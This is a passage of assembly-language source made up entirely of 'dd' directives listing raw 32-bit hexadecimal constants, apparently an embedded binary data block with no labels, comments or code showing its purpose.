dd 0AD99BA09h, 0EBCC80D2h, 1872DF7Ah, 1001644Ah, 0BA00A665h
dd 58C0CE77h, 0F81B98h, 82CB81EDh, 0B259FBACh, 8DB33501h
dd 0DCB89E02h, 397A29C4h, 5F80939Dh, 125987ADh, 7D0E34E9h
dd 0EF448855h, 4B77402Dh, 4C0360D5h, 4900080Eh, 0C6F8B15Fh
dd 0AC0056DDh, 0DB70DCDEh, 99B935h, 1F8B08CAh, 4ABF4E3Ah
dd 8CD7EC00h, 0EB14C36Fh, 11A50070h, 85236272h, 4E00AF89h
dd 0BAAC13A8h, 30529805h, 0BD584F78h, 6D01242Bh, 5B8AF1DFh
dd 1AF9F7F4h, 0EE7FFC40h, 4407027Bh, 6F52E3FBh, 0D4DF3FC1h
dd 0C800776Dh, 22FCE974h, 382163Dh, 5BD4244h, 29006B4Ch
dd 97C460F3h, 0BE87Bh, 754DA8B5h, 54760CA7h, 9E7F9C1Dh
dd 1B003064h, 0E18805DFh, 1CB02606h, 0A0960F38h, 1F2803E0h
dd 9874FFC7h, 4C635379h, 0E0780930h, 0E22AACh, 9261492Bh
dd 5BF1254Eh, 5FB46700h, 0BC95E622h, 97EF0068h, 35A8579Bh
dd 9E00FC82h, 187B568Eh, 0FDF173Fh, 5D111ADEh, 701D5220h
dd 84051BDAh, 0C3FDE650h, 973E4800h, 1505319Eh, 54CAE1D4h
dd 0C840B420h, 0FC52009Fh, 0A98EAB64h, 0D413D371h, 3900DF40h
dd 488D357Ch, 5EDD0055h, 7417BCBAh, 103E8C9Bh, 0DA3E87DBh
dd 25918172h, 19FCF4DEh, 9786007Fh, 0F2290991h, 90007BE9h
dd 127708Eh, 3EA58162h, 4C00FA4Dh, 9B764067h, 98C029C6h
dd 0CF063213h, 3757CEAh, 622631C3h, 0F20F4DA7h, 5091392h
dd 1800E4CEh, 0A2EDC9BFh, 56A50EB6h, 8B9A3B7h, 0F1218019h
dd 0D727EDACh, 381AF086h, 8B1D15FAh, 1F03A07Ah, 5B9992F5h
dd 0BB110063h, 95E50338h, 7F195033h, 650843E1h, 0C0BD2187h
dd 0AABF7003h, 68C023BCh, 6B7EED5Dh, 4D130EADh, 49E05278h
dd 91124251h, 52F0F54Eh, 88680093h, 0CAEF3C86h, 620F6C39h
dd 5492F47Ah, 3158040h, 8C4B95F0h, 929D20h, 2703DDBCh
dd 0F458FC79h, 99B38700h, 3DA9AF09h, 981451BAh, 30DF9402h
dd 7B11EDC4h, 2588DDB6h, 0EDAF3C80h, 0F97CD0h, 4B49978Ch
dd 0D9F22477h, 0A9BE9232h, 6FA3E1B2h, 0CF9BB880h, 34A988EBh
dd 0E767D000h, 438122E0h, 8988A032h, 967E0F59h, 60C02627h
dd 0FDF14109h, 7F54BF00h, 0E1FC1099h, 668F00E3h, 985090C8h
dd 0CCF4C7BEh, 2EFEE503h, 0C92AA58Bh, 6DC8F9D7h, 4E7C0036h
dd 184AAE23h, 9E3A82F4h, 4993000Bh, 7904AF8Fh, 0DC0A00C8h
dd 3CB0EAEh, 6558D883h, 0ACD000EEh, 12AC09Dh, 4AF02C45h
dd 675F0014h, 0C5C796AFh, 5C2C4100h, 93B3833h, 0BA5300A6h
dd 8002CF27h, 7960D029h, 13353348h, 46F40691h, 18D1E456h
dd 0EEFCD800h, 22AE9E0h, 85AF1EB3h, 8115806Bh, 4B3D2FAEh
dd 0B1BFA300h, 0EA56C92Ch, 2E4F3EB3h, 31DB0C01h, 876A4D5Eh
dd 697D94A9h, 14D1FC57h, 42D0BD7Ch, 0E2FA0028h, 0C1324530h
dd 0DC009CD4h, 6685CFDDh, 1ED7485Fh, 5B2ECBEAh, 0B007B8CCh
dd 1C4D9271h, 2CC4C090h, 182E6078h, 0E60AAEC7h, 770DA900h
dd 0A862D8DAh, 8E285052h, 0C82F0334h, 72DC46BEh, 0AC215CC0h
dd 0B37A3F03h, 7517FCh, 60F462A8h, 0B7D277CFh, 0A058226Fh
dd 0AF8C1971h, 7D101D3h, 0DD2F56A1h, 44AC4014h, 48C38160h
dd 74A663h, 83ABBFD0h, 0A4CE51EBh, 0E7A5DE1Dh, 0B1116B84h
dd 540BB980h, 7B190087h, 480AF1F7h, 0F863FEF0h, 3E6B8B08h
dd 7B80B920h, 66141BC6h, 75009962h, 0EB7DE4E3h, 1D6F634h
dd 6755E1B6h, 0CC231EC5h, 62EC783Ch, 0C2E8E21Dh, 0D700E711h
dd 428D2416h, 0C1FEBC65h, 994880E5h, 4A670985h, 88960789h
dd 0E328BB42h, 2061D1B1h, 0D76A67A9h, 0C10048BCh, 2501A421h
dd 4B00808Dh, 624FFDAh, 30999634h, 15E9E3C3h, 4841B05h
dd 0F5A37B2Dh, 76663EAh, 7B25BD21h, 0AD450ECh, 6A317275h
dd 0B9657802h, 3E5C7FCh, 0DF4B7BBh, 88066DCh, 36003E7Dh
dd 0AD09D09Bh, 73A89C2h, 0DBB406Dh, 0E7C91067h, 160F9770h
dd 9853AEDDh, 700EABC1h, 0DBD03DBh, 0A562AF82h, 21D50830h
dd 0C3F9974h, 7971DE7Ch, 8602F0A1h, 6764DAEAh, 970D40C1h
dd 0D0490F57h, 0F240136Bh, 4B2E3A29h, 6200B7F8h, 0C5256909h
dd 7BF11C04h, 310F0721h, 7948E8h, 15071DE6h, 3D29E303h
dd 80AFB636h, 0BA8E26h, 0F886841Eh, 0DADF1D0Ch, 0B2004E78h
dd 767A7BEFh, 3BA82DD5h, 8B00D410h, 2E205C55h, 59001358h
dd 0E446C15Dh, 0B805B0h, 5C09E881h, 0AACDB41Ch, 8FA31600h
dd 4439D2D4h, 0C7F70078h, 4FF23603h, 1D005697h, 0E7EB16B4h
dd 787A548Eh, 1C60CEE9h, 30490E2Dh, 0A7B896B5h, 3AFC358h
dd 0AD49CF61h, 0FA69A8E8h, 2367001Eh, 56A20F63h, 7100F920h
dd 0D29625A6h, 188A5112h, 599F9EA5h, 630064F0h, 921059DAh
dd 1EDB4AEh, 2E6B1FE6h, 0D09D3240h, 0B6002686h, 91F62F68h
dd 60F2C3FEh, 4E24A06Ch, 6503D5A1h, 1657D49Eh, 0FC181C87h
dd 425800B8h, 8F56014Ch, 0F9742406h, 7C39639Fh, 0C4C3095Ah
dd 0B00088Bh, 2742D867h, 5CE2D100h, 0FBC925A7h, 956F00DFh
dd 2D1A44D3h, 0D4E146BDh, 0A198862Ch, 0FB35800h, 1EFBCC91h
dd 44681EEEh, 8D2E07FEh, 0BF230188h, 708D41Bh, 4AD4A400h
dd 84E6D5BCh, 0E4B6018Dh, 943BA327h, 0BCF8D13Dh, 84E28721h
dd 5FF12E30h, 0F60D0D6h, 9BCE005Ah, 99AF6B80h, 3500CB79h
dd 1F32EA88h, 3C07689h, 67109F86h, 8801E566h, 8D2F270Eh
dd 58B28834h, 0E9300D88h, 8F5A0884h, 86E267Ch, 556400D7h
dd 5DB3619Eh, 0FF1EA000h, 358DD3BEh, 98F50171h, 22FFD09h
dd 769BE46h, 0ABF6C51h, 0E0B3C0C2h, 0C3B25D26h, 10772AA8h
dd 0D457A681h, 9C6D903h
dd 20C84Eh, 3AE48F0Ah, 5136BECFh, 48AC6430h, 71CF3AFh
dd 0AD12A478h, 573BD082h, 300DC5Ch, 0CD3666DAh, 0F50A09h
dd 997064CCh, 3BA4B11Eh, 58A5BB02h, 0C08FE5E7h, 0FB41ACh
dd 0CE1639CDh, 0BEA026EEh, 83E26703h, 0E82F8654h, 718430AAh
dd 0DA370003h, 319762F4h, 7100E12Ah, 1ECBDE4Ch, 0B107C7h
dd 539DBE6Bh, 0A3F2098h, 22588919h, 21875508h, 502FF768h
dd 1EB221A1h, 947CC6ECh, 805A700h, 3EDCB497h, 605EFE70h
dd 0DF82196Ch, 0F680B656h, 6A4E0013h, 8D387CFBh, 81F8CA2Ch
dd 0DE61AF60h, 79E37AE4h, 18803C9h, 0ADFACE5Dh, 1B5AC0BFh
dd 0D0F8B8A0h, 31213506h, 39A623h, 0FE8017F6h, 3F7FDFA3h
dd 0CD2EB707h, 0EA834283h, 1ED293E8h, 1932780h, 0E2ACA34Ah
dd 6E6DC44Dh, 80C08F3Fh, 0D87CAE69h, 9873E3DFh, 0E9D7561h
dd 0A98B4134h, 0F090D9C7h, 74A0CC0Dh, 0A2F74Ch, 667917D3h
dd 7D093670h, 56581F6Dh, 1680BDDFh, 8ED4A5DAh, 500B782h
dd 11FC9403h, 1F47F390h, 870854B5h, 50213209h, 0A0251B4h
dd 0E284DE00h, 22F5FFD3h, 1FA7002Eh, 3BC0C14Eh, 1B7EC227h
dd 0B6932B1Eh, 3A588703h, 41380688h, 18ED1670h, 5E4EDD0Eh
dd 1F3AFF0Eh, 53802450h, 6F1EFD28h, 56710333h, 0D4D58FFh
dd 400050C3h, 0BC17725Ah, 8E3009h, 0F07B039Bh, 6E3E7435h
dd 0FCFAB00h, 46824AC1h, 0D88C00BDh, 50634EF9h, 0A20CEB5Eh
dd 71048BA4h, 428100D9h, 7024AC4h, 351837BCh, 5E686734h
dd 8B7021h, 8C048253h, 0DC8331D3h, 4B03BEE8h, 0AD47F8E0h
dd 248053Bh, 5834D9h, 65FC8DA8h, 0F8002398h, 46519315h
dd 0C09F05Dh, 5FE6AF9Fh, 0BE003330h, 327987D4h, 1FEEB4C5h
dd 86D272EBh, 61BF66D3h, 1B602507h, 1E4019B0h, 2E8642h
dd 0AA27856Fh, 839E6ED3h, 0F9154174h, 7907C99h, 8DFF1DBEh
dd 51DCEA00h, 170600D3h, 279F7D39h, 0A4A47F32h, 66419B2Eh
dd 0CA9C7E00h, 0CB8EF1h, 6107E8D5h, 8BF6A0C3h, 0B1785200h
dd 6E4A9B98h, 13F500C9h, 9A93A5D2h, 0CF003E91h, 0C646A957h
dd 0FA371504h, 0DC3100D0h, 7392170Ch, 0F506F366h, 1A860FEBh
dd 8325030Eh, 79FB475h, 24103Dh, 10806D88h, 1F53FD35h
dd 4165BBA7h, 9F856E8Dh, 5728800Dh, 8B94C744h, 458400B8h
dd 0CE775497h, 3003C529h, 0D41A7C4Bh, 0E996E046h, 833B0052h
dd 557F459Dh, 5B0C4994h, 0B0CEC865h, 0D4412C3Eh, 0EC820E8Dh
dd 8960B20h, 3700E2DCh, 0EAF95C63h, 8145B9h, 44853FAEh
dd 0D40C087Ch, 2A53FC00h, 2977FAABh, 50C663A5h, 0AEEFE867h
dd 609AA898h, 0E913561h, 1880AAE5h, 998856CCh, 0AC000FDBh
dd 266E503Eh, 0FE70B47Ah, 654D0091h, 0AEA6FDD1h, 5C0031A9h
dd 0E0873954h, 20924E5h, 0FA481D35h, 0F280F67Eh, 2585D67Fh
dd 8647FD3Ah, 1F7388FEh, 21AC6708h, 3A2630EDh, 640052F9h
dd 0B130DBC8h, 3BDDD4E0h, 0CE033519h, 0DA4975D2h, 5AAD6AC0h
dd 0CF865200h, 672F0540h, 0F648C0C3h, 0D495A6DEh, 721851F2h
dd 1B098992h, 0FE20C019h, 0C58F95FAh, 1DD9E800h, 0B43B59D5h
dd 518404Ah, 28007BB8h, 0CDBB9CD0h, 3DC9831Dh, 4E004B06h
dd 8D04D676h, 6C03A415h, 0E0EBA382h, 28E9187Ch, 4291D194h
dd 808E6900h, 0B5444E46h, 35700096h, 86A694CAh, 0E666C8ECh
dd 1F6FD39h, 5B17B641h, 983F99DFh, 0BE900208h, 52233FD8h
dd 7A796900h, 6A882D35h, 60D79418h, 953679h, 0FD1525CEh
dd 2D867F1Bh, 97EE6201h, 20A49987h, 0BB32C840h, 0A85550F1h
dd 3D83004Ah, 1330456Ah, 0E500DB2Fh, 25A464A7h, 32D988Eh
dd 6FE83EA6h, 0EFB8EEB9h, 90073C1Ah, 4A066B83h, 3978C08Eh
dd 0CE79B7h, 7B9DD29Eh, 0DB11DF32h, 40BD8300h, 0EFA8F25Bh
dd 93130B56h, 5600CF6Bh, 15189CD1h, 5F41F00h, 4BD9F7F8h
dd 43E204CDh, 8765392Ah, 0FE9D8069h, 0E800936Eh, 0E0FA58DBh
dd 0FF4C3C8h, 76FF0A20h, 0D89B0360h, 0A500E3A4h, 154D0BD5h
dd 5B9D1h, 0BBF11F6Ah, 0D435DB63h, 746B6E07h, 0E570E037h
dd 0F3766F99h, 304360F0h, 1F183324h, 34400681h, 148703FFh
dd 1ED36E3Dh, 3890E9F3h, 3300B819h, 0CB37D6C5h, 3EAAB0Bh
dd 3EA8BD23h, 3DF00578h, 6900A5E7h, 2E55A3B6h, 3948CBFh
dd 5F32F7DBh, 40032722h, 0DC23BBAFh, 11101DAh, 57DBA0B0h
dd 0BD70F0C7h, 213609CCh, 0F3B400E1h, 0A356836Bh, 5A0CEF1Eh
dd 0B822EEDCh, 0E3AE31C7h, 0F5AC2128h, 3807D35Dh, 0F438DCA5h
dd 72832A6h, 0E747B5D7h, 4E8957FDh, 393F0A5Eh, 7CA9384h
dd 0E03C31FDh, 87C36543h, 0B7EED3Ch, 0E9B51Bh, 0C5DECB6Ch
dd 0EA69E844h, 8ED507FAh, 634637B6h, 0E0D87E16h, 65FA0301h
dd 0DAF70C02h, 0E00582B3h, 1D4B947h, 0D0528476h, 0C43678BAh
dd 8D1DF82Dh, 0FA5CEFh, 0D443D785h, 1C0B09h, 0AF469CBEh
dd 7FA9C6A3h, 758F5E01h, 14C51053h, 580336D4h, 7C0100ADh
dd 0FD176943h, 0FB18807Bh, 97092AE2h, 0AFDE0144h, 0A433437Dh
dd 0ED1AF1F8h, 0D4B2F092h, 190E7080h, 49D1E45Fh, 80AEE896h
dd 5BB35103h, 1B7B4B7Fh, 30AB7908h, 1DAA3B98h, 8CC44103h
dd 0D0952Ch, 156D3618h, 37D276BEh, 2E696A00h, 28FBFA5Ch
dd 0E73E17BDh, 0DCFC0Fh, 8C451B42h, 0A8EB890Eh, 11AABD3Ch
dd 8C6351AEh, 1D01A923h, 40ECAFB6h, 1E80CD8Fh, 3A019852h
dd 1D37BBADh, 71D0FB02h, 0AA63EEAh, 3633A100h, 0D3F4116h
dd 0B8A4DA28h, 0F239F100h, 66583D9Ch, 0C3320031h, 0A9CE0676h
dd 0F500D678h, 0AFAEBC92h, 4CBF5D01h, 0A600751Dh, 6BB235E1h
dd 1A00E7B9h, 0DAE60873h, 0C63C3Ah, 603E201Fh, 0D5EA254Dh
dd 9D6FB33Ah, 0DA807E05h, 0CFCAF540h, 0AF3009Ch, 1FC82111h
dd 0BC00E414h, 5E903934h, 66CFE5h, 80DB2854h, 0AE97AAABh
dd 0AC5A761Dh, 0BC43CBC1h, 0CAF81687h, 0CD070081h, 6E7C868Fh
dd 4400729Dh, 1F75C203h, 0EAFC398Bh, 703000EEh, 36FDC4CDh
dd 0F2001B54h, 132F0888h, 0B49BD1h, 0CF436A8Bh, 84617035h
dd 75FFBC0Fh, 0D8A600CBh, 5301BBh, 8FD97904h, 2FBA69BDh
dd 3F54B700h, 95ACA21Fh, 0E7DA00CFh, 0AB8A4BCCh, 0F50B47E5h
dd 4CF1B4h, 0B9ECBFDh, 7EA7EAE8h, 4F803D5h, 0FDE67167h
dd 0CE1FA003h, 0F8CF35CDh, 0E2285F0h, 5B27DE3h, 47796F40h
dd 400F455Eh, 667E959h, 1F19E6B8h, 9061BE50h, 0BD9000DEh
dd 0AF1C543h, 0F2E4009Ah, 8D6E207Ah, 0C70763DBh, 4BAC6BD5h
dd 55FE13A0h, 1E5708Ch, 77E208C3h, 3F73E719h, 44C8F0h
dd 5669A84Bh, 1BE03F05h, 9754F300h, 0C137AC6Fh, 57680058h
dd 0B9787C8Fh, 0DE120DF6h, 891C2680h, 9655EC40h, 1D84FB63h
dd 40B6BAADh, 9C235A94h, 420C2AA2h, 91892B6Dh, 54020095h
dd 0B709695Fh, 4B050830h, 0A0C0A8C8h, 6F76DC80h, 405E677Eh
dd 0B82A4215h, 0A427C057h, 5CDE301Fh, 22450618h, 68AAE70Fh
dd 0CBC01EC7h, 9E9F65BFh, 69C03BF8h, 773A8D80h, 8E17C76Bh
dd 0CB295C00h, 48FFCAB2h, 2E2B0BC3h, 61805565h, 0A568AFFEh
dd 37AD4A00h, 38302CD1h, 8710187Ch, 8D6AB9C5h, 0F10C2AF4h
dd 0A8DEB395h, 0DDFE400Ah, 0D3ECCD13h, 0C484A600h, 8D89Ch
dd 0DAB71445h, 77AD2BE9h, 0C8DB4C00h, 95A74A43h, 8C0800FEh
dd 3F46B78Fh, 59008993h, 0D2DCAC72h, 0C04BF4B3h, 9C7E1C18h
dd 5A2C7186h, 191E1520h, 1A956143h, 8C0E08Eh, 72D60C9Ch
dd 0BA108946h, 9BD45500h
dd 3647A115h, 8AD6B05h, 0DA20570Ch, 9F267F98h, 6600526Fh
dd 95579DE4h, 6B0E079Ah, 0C08C442h, 8D01BA88h, 3F4F1EF2h
dd 0DF8E4Bh, 0F567CF40h, 1B6C5E3Bh, 583E36F8h, 53EC2E4Ch
dd 46DCAD01h, 1EFAA80h, 17D49AC0h, 80FB77AFh, 53812D10h
dd 66D91h, 8E938DE3h, 962A47B2h, 7700DCF6h, 3B720D66h
dd 7985615h, 1F871439h, 0C574102Ah, 810004A2h, 8A32F46Ch
dd 2430E0E4h, 96435Ch, 0DDE55D96h, 93002645h, 7ED1223Ah
dd 1E1BDA4Dh, 473F7803h, 0EB3C13h, 5AFA2FD8h, 97D2E000h
dd 2E48B16Ch, 0BBA50098h, 0D7CEE750h, 2F048629h, 8158EBDDh
dd 126A8580h, 0A9F0001h, 65ADD693h, 2707AEC2h, 0A01D5A1Ch
dd 9DB6AC21h, 73C40F4h, 9236552Ch, 120DE0AEh, 85F85AC9h
dd 20942E30h, 63BEBh, 1570DE23h, 22654172h, 0A564D200h
dd 55B20D1Bh, 3CBDB853h, 0BF1E07DEh, 8520C38Fh, 19008EDBh
dd 6670D2A0h, 20DA545Ch, 6E008C77h, 17DD9EC1h, 3C6F4BCAh
dd 66802EDEh, 4772D4B7h, 430C843Eh, 0E1C559F1h, 64578CAh
dd 17749DACh, 8500A086h, 0F66B27F5h, 30F3EE07h, 3B9AB38h
dd 600D9D8h, 0E253C2F8h, 19C1751h, 489A5482h, 0F8FC158Ch
dd 0C2000F2Ch, 418744BFh, 8861D5h, 67E1421Eh, 8BE3A651h
dd 40E5FE00h, 3204050Ch, 71FF0095h, 16C4823Ah, 0F8005BD3h
dd 591CF66Ch, 7B52E5D9h, 0F690056h, 400E6B88h, 0A400B8D8h
dd 0A6673EE9h, 625625h, 0B4FC5A2Ah, 0E1F2409Bh, 3423E503h
dd 0F8651695h, 0C0D0A573h, 4111351h, 87EE0764h, 0B637CF0Ch
dd 988D18E6h, 52D83F99h, 50F6A00h, 41EB44B0h, 9C3ED970h
dd 0B47806Ch, 36715081h, 7D4EF40Dh, 407700B1h, 37FA89E9h
dd 0C4009060h, 0A3B2BB1Dh, 78B52B20h, 504A0F67h, 0D9A16BACh
dd 9FBAF2FFh, 8CC2D278h, 0E080479Ah, 3C46EBAh, 58ABE25Eh
dd 881D45ECh, 0CF5D2BB2h, 24DE603h, 13701E06h, 0C3E900F5h
dd 55C542DAh, 0E4480400h, 4C5B0A7Ch, 28BEFBCBh, 0F3C09300h
dd 0D8A8F03h, 0E800C774h, 0C2BC6D4Dh, 972520h, 0AED2CBA4h
dd 9E5C1C55h, 12AB7D03h, 0A051DCB8h, 3AAA988Dh, 87008CF6h
dd 609F670Fh, 0A00ED40h, 15217CACh, 1F0C1283h, 40747598h
dd 8ACB87A6h, 40C050C2h, 0D5142362h, 54AA3A33h, 1880E898h
dd 0F7935D8h, 12C54Ch, 0CD28A64Dh, 3C47476h, 46D165FCh
dd 3803F977h, 4DB16D55h, 0BE6B8A7h, 6729297Ah, 2B94002Ch
dd 0E4C1CE25h, 0A3E6BF00h, 0C6AC825Fh, 99766034h, 59D1725Eh
dd 0C80ACA00h, 93753E45h, 90DF6788h, 0A298C057h, 6D0C49A8h
dd 18AAEC52h, 0E1A90177h, 0BC2A9364h, 0B73ACCC6h, 87A8F600h
dd 11BE6555h, 0A50F15ECh, 0DC0E98A9h, 2B8E7638h, 5EA70A20h
dd 0A5007B4Ah, 0FE05FC52h, 8FE8FAh, 2CC8EE97h, 4A40F213h
dd 0D9C13D01h, 67AF440Fh, 0A3C2AF4h, 24E510BCh, 3A488024h
dd 81F4FCCBh, 0EE87C500h, 0D474D6BBh, 15C4A00Ah, 76B9C00Eh
dd 0A74CB833h, 4E4AE00h, 0E06CA4C7h, 1A210079h, 0E7A5E892h
dd 840008EDh, 0F223BFFEh, 0A0F3E65Ah, 6A7AFDCh, 0A1C1AA4Ah
dd 0FD7150BDh, 0B81D4D28h, 88188402h, 80155BD5h, 0F1E39BDCh
dd 41A33CC6h, 0A0A84200h, 95C31617h, 405F6701h, 61C92219h
dd 385A52D0h, 2A0E6BB4h, 0C560788Dh, 0CCC1A2D8h, 87C09550h
dd 47C01C00h, 55B8348Eh, 0D6F0012Bh, 14F3CD89h, 9AEBF8A6h
dd 0A835C139h, 520094C4h, 0D27DFCBFh, 1ED1280Fh, 0C460167Ah
dd 0C0A969E7h, 33381B4Dh, 0CA0A3500h, 3ED5BF15h, 0DF1C1DD4h
dd 0F830CA2h, 35FE9E20h, 1F03495Ch, 0F4C02FB0h, 8B91DDF7h
dd 0C7370738h, 0DE33E9F5h, 0AD6F2540h, 0B3260A5Fh, 0D10E4652h
dd 0FA57E1AAh, 0F8C3724Dh, 0E4729F8h, 3868C75Fh, 10BFA7C0h
dd 0B478D532h, 0B1533Fh, 9F8D772Ah, 74346C09h, 3BA4005Eh
dd 43A1386Ah, 8C00D361h, 45EF8073h, 0E83FEC8h, 0E19C10C1h
dd 0B2D9538Ch, 68280D00h, 75F99D3Fh, 0B989D844h, 6914B333h
dd 0CE84FD63h, 0BF684264h, 0C2E230A5h, 60334800h, 6D53CA36h
dd 0F6AF016Ch, 135514E4h, 0DC85E0F3h, 83066AFAh, 47C6848Dh
dd 12D021D8h, 261C089h, 0A45E4541h, 9440A56Ch, 1F5F8A73h
dd 0B6608018h, 0F533B150h, 76106ECh, 1E14D537h, 41714015h
dd 9B1DEFA7h, 4F0CF682h, 7E3E20B5h, 0D6376A8h, 3342F91Dh
dd 0B7F807F0h, 0B6F1B359h, 0F25BEAE0h, 1BA80500h, 0D964DAD5h
dd 4CA0E0FCh, 4600A03Dh, 7F97AA25h, 36030C58h, 86F84180h
dd 4EDB90C3h, 79D1075Eh, 0F05F74A1h, 0B7E89D07h, 99B8EE00h
dd 0D89F383Dh, 2B9C1EAFh, 262F87A2h, 0E6C6B065h, 8B072CF1h
dd 0E9DB7B5Ch, 0D147F30h, 767E6CFh, 0A1E8F5A3h, 40E04051h
dd 7F00208Dh, 0F73F72FFh, 0A0F8B4D0h, 1289F1h, 88EC9541h
dd 45C31B0Fh, 0F7006579h, 5D4F32C0h, 51FF6BC5h, 4DF8AB61h
dd 7BFD989Fh, 500B00A7h, 9228C17h, 0C0015E3h, 937DD5D3h
dd 1D737D4h, 0CC07F192h, 60DA381Ch, 2807333Ch, 0A24BA653h
dd 3264DFE0h, 6D471E89h, 8E0E3D1Ah, 0E7C0F737h, 13AEF8A0h
dd 52AC571Dh, 0AAEB7380h, 112C70h, 0D4F6C5CAh, 747AF71Fh
dd 32CE9900h, 4713A28Eh, 0F92A0051h, 60AF3B91h, 0D100A7E2h
dd 4C30B3D4h, 0BD1011h, 0FD0385F5h, 0EE5A893h, 0EFD1FB00h
dd 720DE999h, 0F95D0050h, 2CBCE886h, 544807E6h, 0F7017E56h
dd 44F2BBB7h, 0DBD84B15h, 0E0053FDCh, 69F56300h, 829A5CEAh
dd 91BC025Fh, 0BEB7D800h, 0B93B295Fh, 450081DDh, 7B787D5Dh
dd 0C57900AAh, 0EDFFE2B8h, 58004694h, 1CA05706h, 1D93F96Bh
dd 9C1D8BE8h, 0FA794090h, 0D3DDB382h, 7482D24h, 0C74CAB05h
dd 8960BF87h, 7337A101h, 978700D6h, 0E81AD5Ah, 0B326DF31h
dd 6F004CBFh, 7F78C5C7h, 0F6FE0ED0h, 0E86016F7h, 0D3C14ADFh
dd 8EF10400h, 5129B2D1h, 2E961D0Bh, 6703FE5Fh, 935ED2A4h
dd 8353D7E8h, 21007778h, 0E53A323Bh, 0F8747DBDh, 0C3F604B2h
dd 0C091B1EEh, 222BC624h, 5FB88079h, 2F00D378h, 353D44CEh
dd 7A826055h, 8B02008Fh, 0FDD8AEE0h, 8E007B9Ch, 1CA661AFh
dd 0C3DD86h, 7AB31066h, 939F5395h, 6A152700h, 0B479F929h
dd 0D5440E2Ch, 80BF3519h, 0A4E7F712h, 0D03A1DCh, 0CB1F71F3h
dd 4E3BF89Ah, 8D8B07A9h, 0F9637410h, 0ECDFF480h, 3300962Eh
dd 0E53064C9h, 0B85968E8h, 7273013Eh, 0DEF94111h, 8F0C2487h
dd 40001CE4h, 60A9C294h, 0CF641Eh, 8329467Ch, 0AE9D91FBh
dd 0E5687F00h, 0AC618EEh, 82A50358h, 0E497074Dh, 26A2ECC0h
dd 8ACDC800h, 49F0D54h, 5B140016h, 0E4690FB3h, 0FD04835Ah
dd 80FE94F9h, 70C91880h, 0C4EF0293h, 63B12132h, 9A5709C0h
dd 82088300h, 8847447Ah, 3D20E9D8h, 0E10E0BBh, 0A1E774C7h
dd 352AC000h, 1C01D123h, 0CD2467C4h, 22C8AD8Dh, 0CC3B0328h
dd 5E2BD88Eh, 0A2F6B8F8h, 88C93F00h, 70C7822Ah, 19A81CD0h
dd 6EE5408Eh, 0B6AE993Ch, 2EAEC3Ah, 0CC22773Dh, 0E7C44864h
dd 1C2600FCh, 93F24C0Ch, 0DE3AA0C5h, 826307A3h, 0B0A038A1h
dd 689F76h, 6E08EEB1h, 94F472DCh, 1DED5900h, 4E4B1C01h
dd 3346004Dh, 9C191A7Fh, 87014540h, 7015F2DFh, 0B0241277h
dd 14B848B2h, 0AE3A423Ch, 26A19F00h, 0DE17AB6Bh, 0A027E92Ch
dd 6AEC7F38h, 7800A070h, 0CA65D685h, 0F28E90h, 0FF95C62Ch
dd 0C3402D0Fh, 6A377300h, 0A53469A9h, 0EDF20774h, 0A3CB1AD5h
dd 0B2D809E9h, 381C5985h
dd 5C401BB5h, 3E29FAD2h, 0CB3B1DCDh, 0E5F78184h, 0F08757F1h
dd 5E00B3ACh, 60E8E022h, 13446661h, 9F0A0h, 0EB080CCBh
dd 2C05017Bh, 1EF5C90Ah, 99AFE280h, 77BB00BEh, 73E13BF7h
dd 0D8003686h, 0AD595BC1h, 144352F6h, 848C6785h, 87010D39h
dd 76C10F93h, 4AD9E8A5h, 953D3400h, 5FCAB7Fh, 4CE00F8h
dd 8061052h, 0B0009DEDh, 4490FB30h, 146AA55h, 7AE46CF6h
dd 0E07EECE9h, 5890B05Ch, 271D9805h, 0B04F8C5Ah, 80342BF1h
dd 8D1E5382h, 0DC1609FFh, 94035C7Dh, 3980B163h, 0C612ED77h
dd 6E18C732h, 3A8FE8h, 4907EF79h, 0ABB571Dh, 749D2602h
dd 46F5B914h, 0AC2310E4h, 8CB82415h, 0BF7CF087h, 0C8C034A4h
dd 3D645739h, 488376h, 0C0F0D001h, 0FC423655h, 0D4006DABh
dd 8904432Bh, 0E99CD2h, 531AF43Ch, 0BD9792Eh, 2208CA00h
dd 0F06B1F37h, 3C05077Ah, 5051EAD2h, 0C2EEFE72h, 7C069400h
dd 0B9752281h, 627D0044h, 854E415Bh, 9100A87Eh, 1DB348B5h
dd 3C1F9A9Eh, 4001956h, 6F3A05F6h, 0BD50835Bh, 54912ED0h
dd 2CB23900h, 0F5A6E60h, 247BF832h, 1937C781h, 0ADECCF2h
dd 80641238h, 0ABB3B815h, 0F565A1h, 22BA9D30h, 4EB0F0A6h
dd 6C39200Fh, 0BCA980B7h, 61DC3Eh, 41FB5A0h, 0C7E2FC2Dh
dd 80EEF439h, 2B7E51C8h, 6F3DEDh, 69338F30h, 0C1585A90h
dd 0EE3E39h, 787299C4h, 0F638B184h, 83742441h, 36980024h
dd 6BB5D750h, 0EE9DFE02h, 40E09B9Eh, 0F449630Ch, 0BD6238B8h
dd 0E607DDBFh, 91E7C0h, 216E6BC3h, 5FF27278h, 800CD7Eh
dd 1DFE6362h, 9AD4B013h, 0A11103ACh, 0C0D3CD1Ch, 0E4EB53F8h
dd 92EE53Bh, 9894A99Ah, 0BE549Ch, 0F208CBC5h, 0E81C5BBBh
dd 3189048h, 31FF9284h, 808FB35Dh, 0EB11Ah, 0AD37B323h
dd 7B9BFDD7h, 0DC09C304h, 0E8CC295Eh, 3BF50B49h, 69871070h
dd 8128B2D4h, 863CBC60h, 80B1F038h, 212AE503h, 0A87747A9h
dd 0FB678Ch, 0ED6BFF57h, 0DA3BD087h, 7D149700h, 0C6C58911h
dd 63CE0BF6h, 350043F7h, 93C10DEDh, 0FA0045E4h, 85619FBBh
dd 0A3E37Ah, 4DCFC52Ah, 210594Eh, 79524000h, 0BAC087C1h
dd 91200F8h, 413BAEFBh, 4F1460BFh, 0CA22D1h, 72B411C8h
dd 3CA827CEh, 73806820h, 0B161569Ch, 0D400B59Fh, 0E982D165h
dd 7A30ADAh, 0F8641F14h, 3BD31075h, 7C039143h, 168F33E5h
dd 0BE81F849h, 29740734h, 0D3D53858h, 0D8003EF6h, 5BC33C13h
dd 1CCCB88Eh, 0E4F382B9h, 27620070h, 0E8FEC535h, 302D8A7h
dd 805E4318h, 0CA0649ACh, 2B9400A0h, 0ABC3B8Bh, 1CEEB6A8h
dd 0A419F328h, 590BFA17h, 321BE81Fh, 43E8E889h, 0B822006Dh
dd 756534EBh, 26008A4Ah, 0F3021ADBh, 7A6159Ah, 13A9CE6Eh
dd 4FCCA1EDh, 0F0D05CF2h, 7757F00h, 0FC1FA5C4h, 0C90E001Dh
